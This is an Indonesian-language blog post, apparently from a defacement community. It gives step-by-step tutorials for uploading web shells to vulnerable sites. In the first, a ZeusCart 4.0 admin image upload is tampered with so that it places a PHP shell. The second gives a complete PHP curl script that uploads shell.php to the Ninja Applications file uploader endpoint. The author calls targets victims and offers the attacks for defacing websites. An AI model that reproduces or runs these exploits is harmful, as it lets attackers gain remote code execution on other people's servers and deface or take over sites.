Deface

Kali ini mau share sedikit tutorial Exploit ZeusCart CMS dan Upload Shell. Exploit ini vuln untuk versi ZeusCart 4.0 . Oke langsung saja ke tutorial. Cukup mudah kok.
Dork : use your brain.
Exploiter : download

Oke , setelah menemukan target anggap kalian sudah login ke web korban dengan user dan password baru kalian.
Lalu pergi ke tempat tambah iklan .
http://localhost/zeuscart/admin/?do=homepageads
Gunakan firefox untuk melakukan tamper data.
Upload shell yang sudah diubah ekstensi nya ke bentuk jpg.

Jika sudah, shell kalian akan terletak di
http://localhost/zeuscart/images/homepageads/randomnameshell.php

Jika kurang paham bisa dilihat di video berikut :

Sekian tutor kali ini semoga bermanfaat.

Kali ini saya akan share exploit yang lumayan poluler yaitu Exploit Ninja Application Remote Code Vulnerability. Oke langsung saja ke tutorial.
Google dorks : use your brain !
Vuln Code : {“jsonrpc” : “2.0”, “result” : null, “id” : “id”, “cleanFileName” : “”}
Victim : /ninja-applications/fufu/controllers/uploader/upload.php

Exploit Code :

<?php
$url = “http://localhost/ninja-applications/fufu/controllers/uploader/upload.php”; 
$post = array
(
“file” => “@shell.jpg”,
“name” => “shell.php”
);
$ch = curl_init (“$url”);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, “Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0”);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;
?>